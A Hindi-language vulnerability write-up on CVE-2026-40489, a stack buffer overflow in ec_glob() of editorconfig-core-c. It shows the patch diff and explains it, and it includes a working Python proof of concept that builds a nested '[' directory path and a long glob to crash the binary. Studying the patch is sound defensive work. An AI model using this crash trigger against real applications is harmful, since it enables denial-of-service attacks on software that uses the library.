
CVE-2026-40489 के लिए प्रूफ-ऑफ-कॉन्सेप्ट और पैच विश्लेषण, जो editorconfig-core-c के ec_glob() में एक स्टैक बफ़र ओवरफ़्लो है, जिसमें बिल्ड चरण और एक Python क्रैश ट्रिगर शामिल हैं।
CVE के बारे में NIST विवरण:
editorconfig-core-c is an EditorConfig core library for use by plugins supporting EditorConfig parsing. Versions up to
and including 0.12.10 have a stack-based buffer overflow in ec_glob() that allows an attacker to crash any application
using libeditorconfig by providing a specially crafted directory structure and .editorconfig file. This is an incomplete
fix for CVE-2023-0341. The pcre_str buffer was protected in 0.12.6 but the adjacent l_pattern[8194] stack buffer received
no equivalent protection. On Ubuntu 24.04, FORTIFY_SOURCE converts the overflow to SIGABRT (DoS). Version 0.12.11 contains
an updated fix.
दोनों संस्करणों को क्लोन करें:
git clone https://github.com/editorconfig/editorconfig-core-c.git
cd editorconfig-core-c
# vulnerable build (parent of the fix)
git worktree add ../ec-vuln b4724e4
# patched build (the CVE-2026-40489 fix)
git worktree add ../ec-fixed 5159be8
हम इसका diff करेंगे:
git -C editorconfig-core-c diff b4724e4 5159be8 -- src/lib/ec_glob.c
अंतर:
diff --git a/src/lib/ec_glob.c b/src/lib/ec_glob.c
index 18f98c1..8b1613f 100644
--- a/src/lib/ec_glob.c
+++ b/src/lib/ec_glob.c
@@ -96,8 +96,12 @@ int ec_glob(const char *pattern, const char *string)
_Bool are_braces_paired = 1;
UT_array * nums; /* number ranges */
int ret = 0;
+ size_t pattern_len = strlen(pattern);
- strcpy(l_pattern, pattern);
+ /* Reject patterns that would overflow l_pattern in the copy below. */
+ if (pattern_len >= sizeof(l_pattern))
+ return -1;
+ memcpy(l_pattern, pattern, pattern_len + 1);
p_pcre = pcre_str + 1;
pcre_str_end = pcre_str + 2 * PATTERN_MAX;
पुराना कोड एक पंक्ति में था:
strcpy(l_pattern, pattern);
जब तक यह null टर्मिनेटर नहीं मिल जाता तब तक बाइट्स कॉपी करता है, उसे इस बात से कोई फ़र्क नहीं पड़ता कि गंतव्य कितना बड़ा है। यदि pattern 8194 बाइट्स (2 * PATTERN_MAX) से लंबा है, तो यह l_pattern के अंत से आगे लिखकर स्टैक पर चला जाता है।
fix तीन काम करता है:
strlen(pattern) कुछ भी कॉपी करने से पहले लंबाई प्राप्त करता है-1 के साथ बाहर निकल जाता है। >= (न कि >) इसलिए मायने रखता है क्योंकि आपको null टर्मिनेटर के लिए भी जगह चाहिए।strcpy के बजाय memcpy का उपयोग करता है चूँकि लंबाई पहले से ज्ञात है, इसलिए स्ट्रिंग को दोबारा स्कैन करने का कोई कारण नहीं है। memcpy ठीक pattern_len + 1 बाइट्स कॉपी करता है (+1 में null टर्मिनेटर शामिल है)।हम बाइनरी बनाएँगे और सुनिश्चित करेंगे कि यह काम करता है:
rm -rf build
mkdir build && cd build
cmake .. -DBUILD_SHARED_LIBS=OFF && make
PoC:
import os
import subprocess
import shutil
base = "/tmp/dummy-config"
nested = base
while len(nested) < 2100:
nested = os.path.join(nested, "[" * 200)
test_file = os.path.join(nested, "test.txt")
config_file = os.path.join(nested, ".editorconfig")
binary_path = "/tmp/editorconfig"
if os.path.exists(base):
shutil.rmtree(base)
os.makedirs(nested, exist_ok=True)
open(test_file, 'w').close()
# ~2100 char path of '[' escapes to ~4200 + 4000 char glob = ~8200 > 8194
glob_pattern = "A" * 4000
with open(config_file, 'w') as f:
f.write("root = true\n\n")
f.write(f"[{glob_pattern}]\n")
f.write("indent_size = 2\n")
res = subprocess.run([binary_path, test_file], capture_output=True, text=True)
if res.returncode == -6:
print(f"[+] vulnerable sigabrt (return code: {res.returncode})")
elif res.returncode < 0:
print(f"[+] crashed signal {-res.returncode} (return code: {res.returncode})")
else:
print(f"[-] not vulnerable (return code: {res.returncode})")
बाइनरी उस फ़ोल्डर में .editorconfig खोजती है जहाँ .txt स्थित है और उससे glob पैटर्न पढ़ती है।
आप editorconfig /tmp/dummy-config/[[[[[.../test.txt चलाते हैं, बाइनरी को फ़ाइलनाम को .editorconfig से प्राप्त glob पैटर्न से मिलाना होता है, ऐसा करने के लिए, यह इस तरह एक पूर्ण पैटर्न बनाती है: /tmp/dummy-config/\[\[\[\[.../**/AAAA...। यह glob से पहले डायरेक्टरी पथ जोड़ती है ताकि यह पूर्ण फ़ाइल पथ से मिलान कर सके।
[ glob सिंटैक्स में कुछ मायने रखता है (यह एक कैरेक्टर क्लास है, जैसे [a-z])। डायरेक्टरी के नाम में वस्तुतः [ है, इसका उद्देश्य glob नहीं है। इसलिए कोड प्रत्येक को बैकस्लैश से एस्केप करता है: [ → \[। इसका अर्थ है "शाब्दिक [, glob नहीं।" editorconfig.c इसे स्वचालित रूप से करता है। जब यह आपकी .editorconfig फ़ाइल के पथ को पढ़ता है, तो यह प्रत्येक कैरेक्टर से गुज़रता है और यदि इसे कोई glob-विशेष कैरेक्टर मिलता है, तो यह उससे पहले एक \ डालता है। यह पथ के ec_glob() तक पहुँचने से पहले ही होता है।
पथ में प्रत्येक [ एक अतिरिक्त कैरेक्टर प्राप्त करता है। 2100 कैरेक्टर ~4200 हो जाते हैं। ऊपर से 4000-कैरेक्टर का glob जोड़ें और यह स्ट्रिंग ec_glob() को पास की जाती है, जो 8194-बाइट बफ़र में strcpy(l_pattern, pattern) करता है। 8203 > 8194 जिसका अर्थ है कि यह बफ़र से आगे लिखता है।
FORTIFY_SOURCE के साथ आधुनिक Linux पर, रनटाइम ओवरराइट का पता लगाता है और प्रक्रिया को SIGABRT (सिग्नल 6) के साथ समाप्त कर देता है। Python इसे रिटर्न कोड -6 के रूप में देखता है, रिटर्न कोड -6 का अर्थ है कि यह भेद्य है, 0 या 1 = पैच किया गया (फ़िक्स कॉपी से पहले एक लंबाई जाँच जोड़ता है और यदि यह बहुत लंबा है तो -1 लौटाता है)